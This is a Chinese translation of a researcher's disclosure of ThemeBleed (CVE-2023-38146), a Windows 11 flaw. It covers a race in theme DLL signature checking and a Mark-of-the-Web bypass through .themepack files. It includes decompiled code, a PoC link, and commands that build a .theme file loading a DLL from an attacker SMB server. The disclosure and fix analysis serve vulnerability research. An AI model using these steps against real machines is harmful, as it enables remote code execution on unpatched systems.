这是我在研究奇怪的 Windows 文件格式时发现的一个有趣的错误。这是一种经典的 Windows 风格漏洞,具有签名损坏、DLL 加载粗略、文件竞争、cab 文件和 Web 愚蠢标记等特征。这也是我自 2022 年 4 月离开微软以来第一次向 MSRC Windows 漏洞赏金提交。
按照命名漏洞的伟大传统,我亲切地将这个命名为 ThemeBleed(目前还没有徽标,但我正在接受提交。)
总的来说,发现并 PoC 这个漏洞非常有趣,MSRC 的响应速度和判断赏金的速度令人难以置信:^]
以下是我发送给 Microsoft 的报告的稍微修改版本。报告之后是时间表和我的修复说明。
概括
Windows 11 上存在一系列问题,可能导致用户加载文件时执行任意代码.theme
。
错误详情
一、背景
在 Windows 上,.theme
文件允许自定义操作系统外观。这些.theme
文件本身是ini 文件,其中包含配置详细信息。单击.theme
Windows 11 上的文件将调用以下命令:
"C:WINDOWSsystem32rundll32.exe" C:WINDOWSsystem32themecpl.dll,OpenThemeAction <theme file path>
该漏洞专门涉及.msstyles
文件的处理。这些是 PE (DLL) 文件,其中包含主题中使用的图标等资源,但(应该)不包含任何代码。可以通过以下方式在文件.msstyles
中引用文件:.theme
当.theme
文件被打开时,该.msstyles
文件也会被加载。
2.主题“Version 999”检查
加载.msstyles
文件时,会检查主题的版本LoadThemeLibrary
。uxtheme.dll
它将通过加载PACKTHEM_VERSION
二进制文件中指定的资源来完成此操作。如果它读取的版本是999,它将调用另一个函数ReviseVersionIfNecessary
。该函数的反编译版本以及相关部分的注释如下所示:
__int64 __fastcall LoadThemeLibrary(const WCHAR *msstyles_path, HMODULE *out_module, int *out_version)
{
HMODULE module_handle;
signed int result;
int version;
signed int return_val;
unsigned int resource_size;
__int16 *version_ptr;
if ( out_version )
*out_version = 0;
module_handle = LoadLibraryExW(msstyles_path, 0, 2u);
if ( !module_handle )
return (unsigned int)MakeErrorLast();
result = GetPtrToResource(
module_handle,
L"PACKTHEM_VERSION",
(const unsigned __int16 *)1,
(void **)&version_ptr,
&resource_size); // !!! [1] version number is extracted from resource "PACKTHEM_VERSION"
if ( result < 0 || resource_size != 2 )
goto LABEL_22;
version = *version_ptr;
if ( out_version )
*out_version = version;
return_val = -2147467259;
if ( version >= 4 )
{
if ( version > 4 )
result = -2147467259;
return_val = result;
}
if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
{
resource_size = 999;
return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`
...
}
3. ReviseVersionIfNecessary 中的检查时间和使用时间允许绕过签名
ReviseVersionIfNecessary
上一步调用的函数执行多个操作。给定文件的路径.msstyles
,它将执行以下操作:
-
_vrf.dll
通过附加到文件路径来创建新的文件路径.msstyles
。 -
检查这个新
_vrf.dll
文件是否存在。如果没有,请退出。 -
打开
_vrf.dll
文件 -
验证文件上的签名
_vrf.dll
。如果签名无效,则退出。 -
关闭
_vrf.dll
文件 -
将
_vrf.dll
文件作为 DLL 加载并调用该VerifyThemeVersion
函数。
其目标似乎是尝试安全地加载签名的 DLL 并调用函数。然而,这种实现是有缺陷的,因为 DLL 在步骤 5 中验证签名后关闭,然后在步骤 6 中通过调用 LoadLibrary 加载 DLL 时重新打开。这在这两个步骤之间提供了一个竞争窗口,攻击者可以利用该竞争窗口可能会_vrf.dll
用未签名的恶意文件替换已验证签名的文件。然后该恶意 DLL 将被加载并执行。
4. 网络标记绕过
如果用户下载.theme
文件,则在启动该文件时,由于文件上存在 Web 标记,他们将收到安全警告。事实证明,可以通过将.theme
文件打包到.themepack
文件中来绕过这一点。
文件.themepack
是包含文件的 cab 文件.theme
。当.themepack
打开文件时,.theme
将加载包含的文件。当使用 Mark-of-the-Web 打开.themepack
文件时,不会显示任何警告,因此通常会看到的警告被绕过。
概念验证
我针对这个问题开发了一个PoC。PoC 由两个组件组成:一个在攻击者计算机上运行的 SMB 服务器可执行文件,以及一个.theme
在目标计算机上打开的文件。
为此,我选择使用攻击者控制的 SMB 服务器,因为.theme
文件可能指向.msstyle
远程 SMB 共享上的路径。由于 SMB 共享是由攻击者控制的,因此ReviseVersionIfNecessary
当客户端第一次请求它检查签名时,它可以通过返回有效签名的文件,然后在客户端加载 DLL 时返回恶意文件,从而轻松利用 TOCTOU 错误。
PoC 可以在这里找到:https: //github.com/gabe-k/themebleed
环境准备
要运行 PoC,您将需要两台机器,一台将运行 SMB 服务器的攻击者机器,以及一台将在其中加载文件的目标机器.theme
。以下是各机器的要求:
攻击机
-
Windows 10 或 11
-
禁用“服务器”服务以释放 SMB 端口(禁用并重新启动,不要只是停止该服务)
-
最新的.NET
-
可访问网络上的目标机器
靶机
-
最新的Windows 11
重现步骤
-
通过运行以下命令创建
.theme
文件:themebleed.exe <attacker machine ip> exploit.theme
-
在攻击者机器上运行:
themebleed.exe server
-
在目标机上打开
exploit.theme
这应该会导致计算器在目标计算机上打开。这表明任意代码已被执行。
制作人员
PoC 使用Tal Aloni 的SMBLibrary:
https://github.com/TalAloni/SMBLibrary
结论
这是一个可靠的漏洞,从加载主题到下载和执行代码,都不会损坏内存。此外,此漏洞似乎是新漏洞,仅存在于 Windows 11 中。我请求考虑将此提交视为赏金。
为了修复这个漏洞,我建议:
-
完全删除“版本 999”功能,但我不完全确定它的预期用途是什么。
-
_vrf.dll
以 Windows 验证其他代码的标准方式签署和验证二进制文件,而不是容易受到此类竞争条件影响的代码。 -
禁止从主题文件中的远程共享加载资源。
-
将 Web 标记添加到
.themepack
文件中。
原始报告结束
报告时间表
-
2023 年 5 月 15 日 - 向 Microsoft 提交了报告和 PoC。
-
2023 年 5 月 16 日 - Microsoft 承认存在漏洞。
-
2023 年 5 月 17 日 - 奖励 5,000 美元
-
2023 年 9 月 12 日 - 修复已发布。
微软修复分析
Microsoft 针对该问题发布的修复程序完全删除了主题“版本 999”功能。虽然这缓解了这个特定的漏洞,但它仍然没有解决.msstyles
文件签名中的 TOCTOU 问题。
此外,微软还没有在文件上添加“网络标记”警告.themepack
。
可点击阅读原文-跳转到原文地址
原文始发于微信公众号(Ots安全):CVE-2023-38146:通过 Windows 主题执行任意代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论